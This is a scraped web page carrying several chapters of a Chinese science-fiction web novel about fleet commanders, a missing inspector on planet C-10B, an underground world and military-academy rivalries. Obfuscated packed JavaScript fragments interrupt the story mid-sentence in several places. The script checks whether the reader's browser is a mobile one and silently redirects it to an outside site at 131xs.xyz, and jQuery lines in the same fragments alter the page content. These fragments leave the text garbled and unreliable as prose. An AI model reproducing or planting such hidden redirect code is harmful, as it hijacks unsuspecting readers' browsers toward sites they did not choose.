l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563212|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是那会才正式认识的。不过,除了自认倒霉多付了清洗费外,被无辜殃及的人也只是附和着骂两句。” “我们指导员不同,她向上级提交了重拟诸国平等协议的建议书,萨顿帝国尚未出声,它的附庸者们纷纷跳起来污蔑华夏方妄图一手遮天,亏得你的老师站出来支持这份文件,才有了弱势国觉醒的开端。” 淮因知道他必须消除以露纱内心最深处的纠结,接着从容陈述:“诚然我们两方能在萨顿派大清洗中屹立不倒,甚至可以随大流分一杯羹,但前辈们并没有选择袖手旁观,毅然联合在一起反对无理霸权,只因坚守当初承诺的’公平共进,人类共荣’。斗争中有人先行离去,也有人叛出投降,而多年过去我们完成了前辈留下的任务,未曾有一刻忘记那八字承诺,直至今日我等也问心无愧。” “如果需要有人当恶人才能维系住短暂的和平,我来就可以了。”淮因坦然点出好友的心思,“所以,你无需愧疚。” 瑰红发丝顺指缝流淌过,心态却极大转变,以露纱想给眼前这人两拳,抬手又于心不忍,她憋了会还是喑哑道:“没有,我只是害怕犯下罪行的人因幡然悔悟而逃脱惩罚,行好事者为将溺水的人拉上岸而坠入深渊,听你方才的解释,自己心里有数就好。” 淮因闭上双眼,挺拔的背脊轻靠沙发椅背,他太久没有休息,眼白有些泛红:“以后就像这样,有事直接同我说,无需相互隐瞒猜忌,倘若真憋在心里发酵下去,才满足了某些人的愿望。” “抽空到深空陵地探望下老师和陈指导员吧,我们有阵子没去了。”以露纱提议道,作为咸鱼总舰长,她有大把时间用来流窜于各个舰队间,当然,主要是有忙成狗的指挥官替她负重前行。 淮因应下,没过几秒终端收到一级通讯请求,他掀开眼帘,却见对面的以露纱也收到相同等级的通讯,两人对视一眼,将频道合并接入。 不出他们所料,光幕中并肩而立的是华夏与圣普洛斯联的中层成员,黑发黑瞳的中尉是枢光探测舰队总负责人柏娇,身侧女士留有一头利落的樱花粉短发,验证版面显示为科考队的雅莲西博士。 在他们身后,一口巨大的天坑出现在资料背景墙中,近百张远景探测图横于左右,图像里坑底塞满与主星域上世纪风格相似的建筑设施,特别的是它们全部由类似钢铁金属的物质构成,尽管实际距离有数百公里,钢架结构上森然冷光依稀可见。 淮因迅速读取完信息:“你们是说,轮值科考分队在C-10B行星作业时有人擅自离队,寻找的队员顺着他的踪迹发现了一整座类由特殊材质组成的构架城市,而舰队释放的便携型卫星无法从信号站检测到这些建筑物的存在,周围是否覆盖了某种磁场或是未知物质?” 柏娇声线低沉,说话间伴有沙沙的颗粒感:“事发突然,新增派去的小队还未进入C-10B外大气层,轮值科考分队也没传回生命检测数据,失踪的督察官霍鲁斯齐是圣普洛斯联人,于两个准星时前自行离开飞舰,最后的踪迹显示消失在钢架森林中,呃...队员们是这样称呼的。” 见淮因没出言否认非官方的称呼,她继续道:“据深空驾驶员冯山劲所述,事发前队员仅他与督察官没进入休眠舱,舰身四周发生特殊异响,初步分析为本地植物的雨季增生行为,冯前去内舱激活蜂群对其进行探查,再返回舱门附近时,霍鲁斯齐不知因何原因出去了,不久之后,他抓捕到一名不在任务名单内的梅莱亚西斯后勤官。” 说罢她刷新意识端,组织好语言接着补充:“俞湫林刚才传来消息,森林位于天坑底部,坑壁内侧存在若干洞窟,蜂群在其中1-21号洞内发现碳基生物焚烧留下的灰印,还有一些类似于蛹的壳状残留物,这些不知连通何处的洞窟数量预计有近千个,总指挥,我们需要继续增派协助人手。” “小俞的动作比他那恋爱脑哥哥大俞快。”以露纱还有心情从中评价。 她看了眼淮因,见好友重新变回那副油盐不进的狡猾模样,只得正色道:“放心,我们圣普洛斯联人的星际存活率是最高的,总脑系统中霍鲁名字还没变灰,这老小子指不定躲哪猫着呢,让卡莱中校带队,争取早点把他救回来。” 淮因尚在思考,脑海在博弈中分出精力听他们讨论。 雅莲西提议:“小队所捕获的熊鹰军团后勤官状态非常奇怪,听描述初步判断好像是一种未知的寄生态,需要我们联系梅莱亚西斯的人参与检测吗?” “不用。” “可以。” 以露纱挑眉,她望向突然出声的淮因,总觉得他在酝酿什么计划,后者不急不慢道:“既然涉及到梅莱亚西斯的人,那当然要让他们知晓内情,免得事后生口舌,前段时间正巧有位中尉回总舰述职一直没归队,就让他带手下的士兵与卡莱中校、第三机战队队长汪乐乐同去,由卡莱做总负责人,另通知后勤仓,按照一年期限做好长期补给准备,派出外籍机师随队待命。” “我明白了!他们并非对一位后勤官的突兀消失毫不知情,肯定是有什么东西令他们宁愿冒着被发现的可能性,也要铤而走险让自己人在大名单外前往C-10B,我会让卡莱牢牢盯住那几位的,直到他们露出马脚。”以露纱毫无原则地放弃上一句决定,义无反顾地站队总指挥,变脸速度令雅莲西抽了抽眼角。 淮因深吸一口气,还是委婉地对她表示肯定:“没错,请你转告卡莱中校,不要与梅莱亚西斯方发生正面冲突,表面尽量顺着他们的意思,凡事多个心眼,遇到事别闷头往前冲,背地里跟汪乐乐商量,如果有问题联系不上我们,及时汇报给瞿溪烽。” “你倒是真应该试着多给同伴和下属一些信任,经历了这么多事,他们也该独当一面了。”圣普洛斯联内部会议即将开场,总舰长起身同淮因告别,雅莲西与柏娇相望,彼此都庆幸有总指挥在场兜底。 淮因未作其他表态,招呼二人继续安排后续事宜,过了会忽然反应过来,舰长又不负责任地将担子甩给他,顿感无可奈何。 以露纱踏着轻快脚步离开禁锢她自由的舰长室,沉重的雕花大门嗡然闭合,一双手熟练地为她披上统帅披风,副官莓鲁尔早已等候在门外。 感到肩头压上重量,以露纱褪去方才跃雀地情绪走在前方,莓鲁尔与她保持三步之遥。 “去警告约卡达罗,不要再与绿深石联盟的几位高级军官来往密切,我不希望接下来再有质疑淮的消息在圣普洛斯联中流传。”以露纱头也不回地吩咐道。 “如果叫老娘知晓了,他屁股下的位置也就坐到头了。” 13. 银冠地层 “如果叫老娘知晓那两个混账东西跑去哪了,定叫他们屁股开花!” “姐,您消消气,小的们这就去把入侵者给抓起来。” “还不快去——” ...... 隔着层又薄又脆的岩壁,两位失踪已久的雄性人类此刻大气也不敢喘,岑山君隐约感到些许摇摇欲坠的动静,脚趾用力抠紧凸起的乱石,一旁几刻前还气定神闲的男人几乎悄无声息地与环境融为一体,他神色专注,目光穿过岩洞中昏暗的阴影,紧盯脚步声传来的方向。 黄昏使者的斗篷从他们脚下鱼贯而过,冷光源胡乱扫在地穴之间,还未及头顶便匆忙赶往下一个洞窟,颇有几分作势忙给老板看的模样。 还真是哪里都不缺草班台子。 人虽走远,可淮为尚不肯放下心来,他整个人贴着墙体走势翻到后侧拱柱平台,有如掠食动物般灵巧,淮为朝腿肚子直打颤的岑老师做出手势,尽管岑山君已经很努力地将双手搭上他抛去的绳索,然而求生本能却没能让已经不听使唤的脚趾放开着力点,鞋都跑掉的岑老师不尴不尬地挂在空中,像一只咬着肉被迫伸长四肢的乌龟。 “抱歉,脚麻了。”岑山君甚至抽出一只手推了推眼镜。 淮为有些抓狂道:“别闹,快上来。” 说罢腰腹施力把人往身侧拉,岑山君借势一滚,仓皇落在他脚边,淮为没来及松手,被带着坠入平台下方神像手举的火坛,眼见坛底余烬未熄正幽幽冒白烟,咬牙再次发力想将人抛向外檐,大号人形累赘却折过身躯,以一种诡异的姿势扒住坛缘,淮为厚底战靴蹬在雕花纹路的凸起部分,隐约感到热意烘烤着脚尖,俩人别扭地蹭在外侧。 淮为不由得着急出声:“书呆子,你没知觉了吗,赶紧把手松开!” 说罢他观察到四下地形并无可供攀爬的点,在小口吸气后,他开始小幅度晃动身体,想等两人下落时再唤出望涯的机巧板,不料岑山君死活不肯松手,甚至还死死地卷腹抱住他的双臂,力度大到刷新了淮中校对读书人的认知。 岑山君有如锯嘴葫芦往那一挂,说什么都不肯松开手指,淮为说服无果实在无可奈何,咬牙向上引体,想用膝盖把人怼下去。 被长腿翻上来一夹,岑山君瞬间破功,死撑着的手脱力滑落,不待他过多反应,两具纠缠在一块的身体直坠地面。 地底本无风,岑山君忽觉几丝微凉灌入掌心,手指充血抽搐,无端而来的风卷走灼烧感,短暂的屏蔽知觉后,他手中爆发出麻似针扎的痛意,在这紧要关头,他不合时宜的冒出一个念头:一位现役长官,另一位好歹也算游骑学院出身,仅仅半天不到,怎会落到如此地步? 不待他分神仔细琢磨,淮为翻掌激活机巧板,水蓝光束乍起又促而被掐断,背部一阵震颤后,望涯发出凄厉嗡鸣。 【警报,机体受未知磁场干扰,链接中断,正在重新加载中。】 唤醒程序被人为打断,地面灰尘扬起,几乎将两人完全包裹住,淮为将岑山君精贵的脑袋用力挡在怀里,植入的视觉辅助芯片扫过阻碍颗粒物,他发觉睦月神像前记载教史的石板不知何时裂开一条密道,来不及多想,凭借职业本能调整身形将自己垫于下方,两人呈四目相对的姿势,密道裂口愈加接近,淮为不由张嘴。 岑山君观他的嘴唇一张一合,不顾失重感竟想要贴近听清,视线范围戛然变黑,随之而来的是头顶石板轰然闭合的巨响。 两人还在下落,这个过程似乎无比漫长,岑山君甚至还有心思猜测,如果世间真有地狱,他们会坠往哪一层。 还未推测出答案,岑山君只觉身体戛然急停,又受冲击力的影响连带着淮为向上弹起,风衣兜帽猛地掀起,该是被什么东西挂住了,那个东西缓缓降至地表,他精神尚可,想让双手撑在草坪上以免压到长官,身体却因过度惊吓而松软无力。 淮为一把推开岑老师贴过来的脸,坐起身观察四周,这里雾气弥漫,不远处是条地热河,土壤布满矮蕨类植物,地底没有天体光源,但大大小小不同种类的晶态原石将自身微弱光汇聚成照明条件,放眼望去,河流的另一端被巨大的银冠树木所盘踞,茂密的枝叶散发轻盈光辉,好似透明雨点从中滴洒,又与蝴蝶鳞粉飘然而下意境相同,它们落在河面,落入草间,而粗壮的根系相互缠绕深扎河底细碎矿砂间,水流清冽淌过,令人无法一眼看清去往何方。 “多少年了,遇事还在喊哥哥,羞不羞呀!” 地热河对岸飘来略显耳熟的调侃,淮为惊喜地回过头,朝那位四仰八叉躺在便携帐篷里的女士挥挥手,对方也随意地抬手摆了摆,召回悬浮半空的甲械装置,便算打过招呼了。 岑山君好不容易重获身体控制权,顺上方投影飘动的方向望去,只见一个模糊人影从河对岸跃了过来,这才察觉眼镜在降落过程中不翼而飞。 “小为,你怎么跟个半瞎沦落到此了?”人影凑近细细打量二人,开口就给予岑山君一击。 淮为苦笑道:“半路遇上教会抓壮丁,不想同他们起正面冲突便被意外追赶到这里,学姐算是又救了我一回。” 他摁下岑山君的肩膀,接着给霉鬼同伴介绍:“这位是我的前辈,张丽嫖女士。” 张女士乌发黑肤,一双杏目圆而有神,她仗着岑山君眼神不好,在他们之间来回扫视,明白淮为不想多透露身份信息,毫不客气道:“既然都这样了,那你们就陪我一段时间吧。” 淮为刚欲开口,不料话头被岑山君截去:“恐怕不行,雇主还在等我们回去。” “雇主?”淮为一时间分不清他在扮演什么角色,于是小声回问。 张丽嫖将两人的小动作放在眼里,饶有兴趣地抱臂吃瓜。 “不是他派你来接待我的吗?”岑山君理直气壮道。 淮为见他神色不似作假,疑惑更深:“我只是想带你去换身衣服,并不知道你的来意。” 岑山君也一懵,不过他很快调整好心态:“反正你把我带到这地方了,记得负责把我带出去哦。” 什么跟什么啊,淮为深呼吸以防止再次陷入狂躁,好像自打他俩见面后,两人的脚就没停下过,也确实没能相互了解,他耐下性子:“把话说清楚,你的雇主是谁?又让你去哪?” 雇主没有要求对这些消息保密,岑山君暗自思忖,他象征性地“看了看”模糊的人形们:“你们应该也跟我雇主一样是现役吧,喏,就是他。” 说罢他招来小黑球,很快吐出张离线照片,淮为仅瞥了一眼,立刻绷不住情绪,转身站河边跳脚去了。 张丽嫖心道淮为以往可是出了名的好脾气,难得有人能把他逼成这副抓狂摸样,也跟着伸头想见识一番到底是何方神圣。 “......” 难怪,她轻咳两声,提醒淮为该回来了。 “你们认识他?” 张丽嫖止不住点头,太精彩了,新型克星跟头号克星扎堆,她有时候挺理解淮为的:“不仅仅是认识,这人是小为他哥对象。” “那就更好了,小为,你可要把我送到他那哦。”岑山君慢吞吞朝淮为提要求。 河边颀长的人形飞奔回来,一把揪住他的衣领:“阙呼星找你做什么?说!” 岑山君从嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岑山君终于能看清远方,那棵树高约三十米,枝叶在星点般发光的晶矿石映照下呈白银般光泽,阴影将下一处交汇点遮挡得严严实实,他牢记好心女士的嘱咐,不再有任何言语,独自走向巨木根系边小心探查起来。 张丽嫖左脚后撤一步,半蹲平视淮为,双臂搭在膝盖上,肌肉轮廓劲瘦有力,她冲银冠树努努嘴:“人走了,现在可以跟我说说,你们战区藏了多少人到玄烛的地盘?不要讲湛渊单独安排你来盯梢六一营动向,前两天我可遇着了白麓和狩灵的老伙计。” 淮为微微眯眼:“那学姐为何也在这?西嵘座离谷神星应该还是有段距离的。” “我结婚了,这会本该享受蜜月旅行,结果玄烛的书记官跟几位军团长串通一气,上面给家夫派了增援任务,所以,我只得先随军等他来执行完毕再走。”张丽嫖话语坦荡,可淮为听后却稍挑眉尾。 “但你没有原地等待,反而跑来收集情报。”黑发青年叩击腕带,幽蓝色的悬浮面板上飘来令人失望的“信号未连接”字样。 他冷不丁问道:“姐夫还是狩灵的那位?” 如果真的是那位,第56届星际校园纵队联赛中诞生的“狗情侣强拆大队”成员们都要咬牙切齿地恨上一段时间了,淮为当年被队副强行拉着参与进去,也是共犯之一。 “别白费力气啦,这儿接收不到军部卫星的信号。”张丽嫖眼睛不自然地转动两下,潦草转移话题,“你呢?阙大鸟官复原职,不再受总部直属监管,你没有理由总围着他转了,还是说又有新任务了。” 悬桥计划属于南冕战区与人类联合会的内部合作,淮为无可奈何道:“暂时无可奉告,就当我替我哥监督他吧。” “你以前总跟在大鸟身后,联赛时我们峥嵘季的都管你叫小鸡来着。”女人开始满嘴跑火车,“淮因就是那只想把你抓到玄烛的老鹰,结果到最后,大鸟跟你哥走了,你反而留在了湛渊。” 她随手抓两下头发,叹了口气:“不过也好,大鸟能撑到现在也多亏了玄烛,一切都是最好而安排。” 淮为不再接话,两人相继沉默几分钟,而后同时望向远处不知道在忙什么的身影,颇有默契地好像有了主意。 14. 学院篇番外1-问题与天虹星 沉黎军事战争学院坐落在威禄洋的崖东半岛上,入岛口是大片的环礁带,由于其特殊的气候,海啸与飓风经常光顾此地,为了保障来往船只的安全,进入时必须停留在外部人造小岛的港口,待完成安检后方能驶入快捷通道。 又是一年新生入学季,港口外停满民用客船,数道蓝白相间的身影在各个船只的甲板上来回跃动,将未经风雨的幼苗们从家人身边提留上岸。 “辛苦了,学分我回头跟老纪说一声,都给你们加上。”负责巡岛护航的老师轻拍领队的肩膀,他扫视最后一批尚未被接走的新生,视线定格在刚完成本轮任务的老学员身上:“你们顺道把新人带回去,别半路把人丢下了。” 常服帽绶带上下飘动,老学员们纷纷点头道好,老师看着他们乖巧地将新人从检查站内角落引导上学院的舶接船,便安心地回到临时宿舍休息。 待他的背影消失在众人眼前,人群中传来几声抑制不住的欢呼声,学员们一改刚才颓废作风,嬉笑着闹成团,其中有位满脸雀斑的少年想起了什么,冲角落中正安抚新生的黑发少年道:“领队,你带他们回学院吧,我们日落后还有点私事,你懂的~保证不出这座岛!” 说罢脚跟一磕,朝他行去玩笑般的手势礼。 淮因一贯不会在这等小事上为难手下的同学,岛上遍布网格式监控,横竖翻不出什么水花,轮值监控的学员愿意睁一只眼闭一只眼,他也乐得轻松,于是挥手让挤眉弄眼的少年们麻溜滚蛋,老油条们跳出甲板就如同鱼儿入水,转眼间船上只剩下淮因与最后的十五名新生。 “学长,他们这是去做什么了?”有胆大些的新生凑上前来,他见淮因往驾驶舱走,也亦步亦趋地站往门口,身后缀着十四条同手同脚的尾巴。 淮因竖起食指在薄唇间,含笑道:“等以后就知道了,现在把这些给忘掉,就当作烂在船上的秘密。” 他语气随和,与先前那些耐不住性子的前辈们都不太同,大多数新生对这位看似好相处的学长印象极佳,好感度更是在他问有谁想提前学习操控船舶时猛增。 拜托,会教袭浪船驾驶的学长超帅的。 歪歪扭扭穿过小六角海峡后,众人视野一下子开阔起来,天地交际线前有一座巨型岛屿,而他们身侧也不知何时多出星点般的袭浪板,淮因伸手朝其中一艘打了个手势,袭浪板上的那人丢出一瓶气泡饮料到他手中,淮因单手撬开瓶盖,就着海风一饮而尽。 其乐融融的景象截止于淮因将人送至报到处,背过身他的脸立刻阴沉下来,大步跑向生活区南面的湛渊纵队宿舍,趁战略指挥系新生训话的时间,他赶到贴有弟弟编号的房间门口,以保证能顺利逮到这不听话的小子。 傍晚光线正好,半边天幕如同泼满瑰丽颜彩,岛上特有的小鸣虫从地底钻出,触角一动一动地采集砂石上白日蒸发遗留下的盐分,户外场地站满受训的新生,有几只不长眼的顺裤腿向上爬去,惹得被选中者敢怒不敢动。 好痒。 淮因的弟弟是小他五岁的淮为,今年十九岁,正处于叛逆期,不听哥哥劝诫背着全家人偷改了志愿被沉黎录取,现在正跟其他新兵蛋子挤在指挥系深蓝制服大队里,九月的威禄洋气温炎热,潮湿的海风打在脸上像极了沾了盐的巴掌,军训第二天,淮为的脸颊就起了红红的疹子。 训话结束,学员们等待按当日综合成绩排路队回宿舍,前方机械大系的队列被揪出几个逃避素质训练的倒霉蛋,整支队伍惨遭罚站军姿到晚饭点结束,指挥系得以插队先走,身边同班同学不约而同地幸灾乐祸,在路过机械系大队时引起阵阵低声暗骂。 “明天防晒霜来点不?老香了。” 路队期间,不出意外是他未来同桌的小胖子宅男哥发出分享防晒品的盛情邀请,淮因只觉得晕乎乎的,胡乱点头答应。 他还记得昨天,也就是入学首日,那位拥有灰眼睛的怪脾气学长让他帮忙带份青壳蟹外卖,于是待路队解散后,他小跑去西食堂排了将近半小时的队才成功到手,当他拎着糕点赶回去,却被宿舍门前的场景吓清醒。 他最亲爱的哥哥一手扣住墙壁边缘,胳膊顶在门板上,正努力抵挡关门的趋势,学长仅单手推门便快要将门缝阖严实,他内心尖叫,几步奔上台阶,哪怕是得罪了往后的室友也势必要将哥哥救下。 室内暖光泄出,淮因被笼罩在阙呼星挺拔身形的阴影下,着实不敌对方怪力,他恼怒抬头瞪过去,双眼受灯光刺激不由得泛起水色,他不得不抬起手擦拭,又纠结于松手就需要再找机会进入弟弟宿舍谈判。 僵持之下,门板上的劲道突然卸力,淮因向后倒去被匆匆赶来的淮为接住,下落间,一只手擦过他的眼下,沾走小片雾气。 淮因:? 待他站稳再度瞪去,阙呼星却如同什么都没做般侧过身体,靠在门口不说话,满脸写着“这就哭啦?”的疑惑。 “学长,这位是我的哥哥淮因,目前在指挥系二年级。”淮为在身后没看见亲哥疑似被怀疑碰瓷,顶着现场的尴尬气氛开始介绍冲突双方,“阙学长,我的室友,深空机战系二年级。” 见二人依旧毫无动静,他磕绊补充:“你们都是同级生,哈哈。” 淮因不想在外人面前驳下弟弟的面子,边整理仪容边露出标志性爽朗笑容:“久仰大名,阙呼星同学,上学期末的实战演练我们见过,玄烛最后一刻钟被陨石碎片给波及到,可真拜你所赐呢。” 这并不是他与学院内出了名的怪人第一次会面,他们早在入学后便于不经意间展开多重较量,两人明明不相熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563214|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每次联合考试中竟能精准找到彼此的坐标,淮因记仇,存心与阙呼星过不去,阙呼星也有点找到乐子的意思,有意无意开始做些令人摸不着逻辑的事,二者的行为被淮因的好友危大师称为“小学生互搏”。 “原来你们真是兄弟。”阙呼星若有所思,他转身走进厨房,在淮因防备的眼神里端出两杯水,递给俩兄弟,大有一水泯恩仇的意思。 淮因向来运筹帷幄,习惯把身边的局势抓在自己手上,唯独总被他的行为激得发毛,他定下心端详手中杯子,生怕错过了什么陷阱,十秒钟后毫无发现,上面印有卡通臀尾猴龇牙咧嘴的笑脸,他觉得异常欠揍,并不打算喝,便将之递给了弟弟,直接了当地阐明来意:“我弟弟必须随我住。” “现在宿舍已经分完,小为跟着你,那把你室友李同学换来跟我?”阙呼星真诚问道,他太想拥有一位能和谐相处、容忍各种生活习惯的同伴了,李稻青是学院内出了名的好脾气,高血条,如果真被淮因抛弃的话,他愿意接手。 淮因不忍心将老实人推到火坑里,因为眼前这位实在是过于逆天,前室友一茬一茬的从他宿舍搬出,每个人控诉的理由竟都不同。 学院论坛的生活版中,前十被加精的帖子里有六个是同情他前室友的,剩下四个帖子分别是“离谱,818离间所有人的做精赖格宝王子室友”、“逃离苦海!楼主喜提卧底当乞丐两年半远离傻宝大姐”、“抽茶庆祝!我那同寝十二年实战考核串通敌方扫荡本宿舍根据地的前室友终于遭报应了(不抽本人)”和“别骂了,只有我对海王室友是真心的”,此人的离谱程度能与这些奇葩旗鼓相当,甚至更胜一筹,可见当真是个难搞的主。 他已经打点好生活区的助理教官,只要阙呼星松口放人,他立刻从双人宿舍搬出去,带上弟弟与好友搬进三人小公寓:“阿为搬过来,LDQ也还是我室友,就劳烦你另找他人了。” 说罢环视一圈,胡乱画饼:“你宿舍的条件不差,相信很快就有新室友合住了。” 阙呼星不语,一头深银灰色的短发在夕阳笼罩下熠熠生辉,这番话像是听见了,也好像从大脑皮层划过,人在神游,半响他忽然笑了,右半边嘴角挂起一只小小的梨涡,他对着淮家俩兄弟吐出三个字:“有条件。” 淮因本着肯提条件就是成功了一半的心态:“你说。” “我觉得你挺有意思的,不如你来替他?” 毫无疑问,这个无理要求遭到淮因狠狠拒绝。 至于三年后,十夜无难下令三人组将阙呼星从窝里偷回宿舍就是另一个故事了,到老李稻青还在埋怨淮因当初拒绝阙呼星的邀请,以至于他丧失了与夫人危月宴学生时代同居的美好生活,与兄弟住了快十八年,淮因也很后悔,没想到先动心的竟然是他。 15. 一触即发 时至清早,城郊上空天光熹微,轻纱状雾散云为东起的天虹星点缀上浓白冠冕,整个郊区都浸在阴阴的薄凉中,警戒区外布满上个时代遗留的断垣残壁,少许植物自顾自地扎根在砖瓦间,干瘪稻米披上油光饱满的金黄谷壳,稀疏几根显得无端萧瑟。 二八营的后勤队是出了名的卷,连夜几天将临时哨岗建成,正逢哨塔换岗,两支卫兵行交接礼的功夫,一双高帮战靴轻点在塔外壁,再往上是包裹在无袖高领作训衫里的纤韧身躯,十一月的劲风横灌岗庭,符鹇偏头将动静收入耳中,伸脚精准钩住挂在岗内随风飘荡的通行证,随后小腿后挑,证件直落下方放哨的同伙手中。 待她顺着塔与电流网的夹角滑下,一伙人眼神短暂接触,又各显神通般消失得无影无踪,不过多时,西北角哨岗验证仪亮起白色指示灯,轮值的卫兵抬眼扫视满载物资归来的后勤分队,校验过id编码无误,便让他们带着东西抓紧通过。 供货方的运送人埋头踩着前人脚步,一副低眉顺目的模样,队伍渐渐远离哨兵视线范围,伪装成胖掌柜的苏鹅不自然地托了托腹部,被玫巧燕不着痕迹地抬掌打在腰上,前者一激灵,腆着大肚子朝前踉跄两步。 这动静没能逃过某双眼睛。 “停下。” 身后纪检小队遥遥可见,符鹇摆摆食指让大家站在原地,自信冲对面招手,当悬浮代步艇的电子屏弹到众人面前时,她看清版面标有金昙食人花的卡通形象,爆发出雅言:“诶,我操,怎么不是瑞茗桦!” 玫巧燕扶住缠头的金纱巾,小声嘀咕:“难道被降职了?” 越过两位少尉插得花枝招展的头顶,苏鹅瞥见屏幕上金昙食人花两边叶子交叉,做出禁止通行的动作,嘴里大着舌头念叨:“玩了个蛋,我们落在檀亭那老小子手上,指不定要被怎么挤兑。” 心中有鬼的几人不约而同用眼神问向始作俑者符鹇,后者耸耸肩以示无辜。 代步艇悠然停在“后勤”分队跟前,尚有不明所以的真运输队成员留步观望,合金门自动推开,一张人嫌狗厌的脸落入六一营众人眼中。 来者身量高挑,黑色短袖连体作训服衬得此人更加细长,腰间扎有南冕标识的武装带,打眼望去跟棵光杆树似的,他施施然从舱内飘出:“是我,不满意?” 未等符鹇出言呛声,身后舱门又下一人,蜂腰猿背穿起常服洒脱又精神,被讨厌鬼衬托得极为俊朗,几人中较为精明的玫巧燕抬眼,立刻拽着同伙行礼:“中校!” 这阵仗毫无被抓包的心虚,李稻青觉得他们有些眼熟,也回礼致意,檀亭收到上司略带疑问的目光,大声嚷道:“这些都是六一营的。” 随即加大音量补充:“但都未选入行动名单内,是想来砸场子?” 大嗓门的作用下,很快二八营的驻守士兵四面八方涌来,把不请自来的几人团团围住,其中夹杂着零星未被派遣执行任务的六一特别行动队队员,他们纷纷推搡开友军,挤回同营区队友身边。 “哟,这不是号称脚不沾地的游擎一嘛?今天什么日子啊,怎么落到哥哥们的烂泥地里来了。” “要比划比划也得挑时间呀,爷爷不比你们忙?哈哈哈哈哈哈。” “老子认得你,大挪!你那战甲长得像个铁锅似的,太配你人名啦!” 壮实敦厚的男人跟小姑娘样窝囊地缩在队友身后,玫巧燕恨铁不成钢,一把将其推至人前,硬生生与调侃他的人脸贴脸站着,凭借身高的优势,苏鹅眼珠子朝下盯人,深棕色的瞳孔没入眼窝阴影中,有种诡异的“瞅你咋地”感。 对面受到挑衅没有迅即跳起反击,反倒挂起贱兮兮贼笑,将端着的稀饭缸子丢给旁边队友,踮起脚尖也瞅了上去,二八与六一营早前合作时因意见分歧埋下的种子此刻破土而出,成了现下嘴皮子乱飞的依据,但起哄归起哄,哪怕满口“放假小树林见”,毕竟长官还在,没真动起手来。 好好的军营一时乱得像中转城区的菜市场,李稻青抿住嘴角,视线掠过明显分成两拨的士兵,甚是无语凝噎,抱臂搭在胳膊处的手指叩击衣料,最终没忍住,选择对临时副官的屁股轻轻来上一脚。 檀亭连裤子都没掸,急忙拱进人堆中,靠过硬的口舌硬是让同僚陆续都散了去,只剩下六一营的士兵原地冷眈马屁拍到马腿的导火索。 “什么嘛,这就散了。” “六一的还真没意思,找个地过儿童节吧~” ...... 十来号人排排站好,不少年轻人脸上挂满不服气,李稻青作为营地老大并没把不敬的举动放在心上,态度缓和地令为首的符少尉解释来意。 符鹇上前一步站定,昂首挺胸:“报告!营长让我们一边玩去,所以我们过来找瑞少尉切磋技术了!” 李稻青猜到阙呼星大概是被底下这些精英闹烦了,脑袋空空开启放养模式,险些气笑:“瑞茗桦没告诉你们,他不在旦加法音?” “诶?”符鹇瞪大眼睛,眨了眨,“我找过他,可那小子只发了营区门口的照片,我以为他的意思是”二八大舞台,有种你就来”。” 眼下连李稻青都有些不解,他的副官分明陪他夫人去往了山临α卫星,按道理不该出现在谷神星,思索至此,他意识端调出瑞茗桦的名字,打算问问近况。 未等链接上副官,营地哨岗处爆发激烈的吵嚷,李稻青侧耳细听了一番,肌肉绷紧从原地似箭而出,几息之间便到达争端的发源地,檀亭二话不说随长官尾气而去,六一营的相互对了个眼神,很快追上了隔壁营长。 岗亭围墙外杵着一群穿戴华丽的商人,他们中成年男性大多头戴萤石打造的月桂冠,女士则佩戴更为小巧精致的银叶与羽毛胸章,身后缀着长长的承载民用机械板车队,蒸汽动力囱上栓有数十段麻绳,串联起牲口与奴隶,老爷夫人们聚集在哨兵前,哪怕浑身落满灰尘与蛛网也不掩饰傲气,迫于热武器的威慑,只敢在三十尺范围外七嘴八舌,要求营地为他们提供安全保障。 李稻青扬手把正犯难的值班哨兵拨至身后,挂上招牌微笑,热络地招呼商贾们,然而对方毫不领情,依旧扯嗓子叫嚣着,檀亭看不过眼想上前争论,却被李稻青不着痕迹地摁下,转而也堆起假笑与妇女们拉家常。 游擎一队猫在不远处,几颗脑袋相互看看,皆对李营长的沟通态度表达高度赞扬,同时批判讨厌鬼的变脸速度,他们嘴上没闲下来过,眼睛却于商队人畜间来回逡巡。 “也就李长官脾气和蔼了,要是换成老大,哪还管他们叽哩叨咕,这会已经把人当细作给收了,先关个几天,看他们还敢不敢条件。”符鹇深谙自家长官行事风格,调侃起来毫无心理负担,苏鹅点点头,卸下厚重披风,反手将背后重狙立在腿边。 玫巧燕举起手,悄然对准傲气的投奔者比出射击手势:“我们要插手嘛?” 符鹇扣扣头皮,难得陷入思考。 队伍中唯有一人从始至终未曾开口,作战队员们同时望向他,男人锐利的视线不得不从目标挪开,薄唇轻轻上下咬住,腮帮子鼓起,还是不说话,几缕发丝从战术头巾散落,墨绿中带点灰度,轻微遮在翘起的睫毛上,沉默寡言的样子再配上稚气未脱的面庞,看得游擎几只鸟怪不好意思的。 “那个啊,回鹴,你想做啥就做啥,姐姐们替你兜着。”符鹇强忍伸爪子捏脸的冲动,转而给了无辜大鹅一拳。 苏鹅白受打击也装作无事发生,朝他呲牙笑:“哥也能罩着你,看出谁有问题没?你只管出手,后面有我们。” 回鹴好似捕捉到某种信息,身形鬼魅般跃至哨岗顶端,居高临下地远眺,近午时的风太静了,作为六一营的单兵斥候,他隐约直觉哪里不太对劲。 远方大片落叶林衔接两座城池,南为旦加法音,北面则属于相邻接壤的中城区墨尔托斯,从墨尔托斯飘来的工业浓烟将林子上方遮盖得密不透光,隐隐有蔓延的趋势,萧疏的树顶冠难以察觉地晃动,片刻后归于平静,回鹴收回目光,将注意力集中在脚下人群。 “哪有的事,咱的规矩比较多,真没有故意刁难贵客。” 